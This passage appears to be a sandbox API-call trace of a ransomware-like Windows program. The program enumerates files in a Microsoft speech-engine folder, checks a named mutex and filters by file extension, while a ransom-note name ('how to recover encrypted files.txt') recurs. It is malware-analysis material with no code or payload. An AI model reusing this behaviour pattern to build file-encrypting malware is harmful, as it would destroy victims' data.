ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.594] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.594] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0056.594] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.594] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.594] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.594] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.594] GlobalUnlock (hMem=0x440004) returned 0 [0056.594] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.594] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.594] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.594] GlobalUnlock (hMem=0x440004) returned 0 [0056.594] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.594] GlobalUnlock (hMem=0x44000c) returned 0 [0056.594] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.594] CharLowerBuffW (in: lpsz="MSTTSCommon.dll", cchLength=0xf | out: lpsz="msttscommon.dll") returned 0xf [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll", lpUsedDefaultChar=0x0) returned 75 [0056.595] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllnes\\Microsoft\\TTS20\\MSTTSCommon.dll", lpUsedDefaultChar=0x0) returned 4 [0056.595] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0056.595] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.595] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.595] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.595] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.595] GlobalUnlock (hMem=0x44000c) returned 0 [0056.595] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.595] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.595] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.595] GlobalUnlock (hMem=0x44000c) returned 0 [0056.595] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.595] GlobalUnlock (hMem=0x440004) returned 0 [0056.595] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.596] CharLowerBuffW (in: lpsz="MSTTSEngine.dll", cchLength=0xf | out: lpsz="msttsengine.dll") returned 0xf [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll", lpUsedDefaultChar=0x0) returned 75 [0056.596] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllnes\\Microsoft\\TTS20\\MSTTSEngine.dll", lpUsedDefaultChar=0x0) returned 4 [0056.597] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0056.597] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.597] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.597] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.597] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.597] GlobalUnlock (hMem=0x440004) returned 0 [0056.597] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.597] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.597] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.597] GlobalUnlock (hMem=0x440004) returned 0 [0056.597] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.597] GlobalUnlock (hMem=0x44000c) returned 0 [0056.597] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.597] CharLowerBuffW (in: lpsz="MSTTSLoc.dll", cchLength=0xc | out: lpsz="msttsloc.dll") returned 0xc [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dllr", lpUsedDefaultChar=0x0) returned 72 [0056.598] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllnes\\Microsoft\\TTS20\\MSTTSLoc.dllr", lpUsedDefaultChar=0x0) returned 4 [0056.598] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0056.598] GetLastError () returned 0x12 [0056.598] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.598] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.598] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.598] GlobalUnlock (hMem=0x44000c) returned 0 [0056.598] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.598] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.598] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.598] GlobalUnlock (hMem=0x44000c) returned 0 [0056.598] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.598] GlobalUnlock (hMem=0x440004) returned 0 [0056.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d78, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0056.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.599] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.599] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.599] GlobalLock (hMem=0x440004) returned 0x550170 [0056.599] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.599] GlobalUnlock (hMem=0x440004) returned 0 [0056.599] GlobalLock (hMem=0x440004) returned 0x550170 [0056.599] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.599] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.599] GlobalUnlock (hMem=0x440004) returned 0 [0056.599] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.599] GlobalUnlock (hMem=0x44000c) returned 0 [0056.599] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.599] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.599] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.599] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.599] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.599] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.599] GlobalUnlock (hMem=0x44000c) returned 0 [0056.599] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.599] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.599] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.599] GlobalUnlock (hMem=0x44000c) returned 0 [0056.599] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.599] GlobalUnlock (hMem=0x440004) returned 0 [0056.599] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.600] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.600] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.600] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.600] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.600] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.600] GlobalUnlock (hMem=0x440004) returned 0 [0056.600] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.600] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.600] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.600] GlobalUnlock (hMem=0x440004) returned 0 [0056.600] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.600] 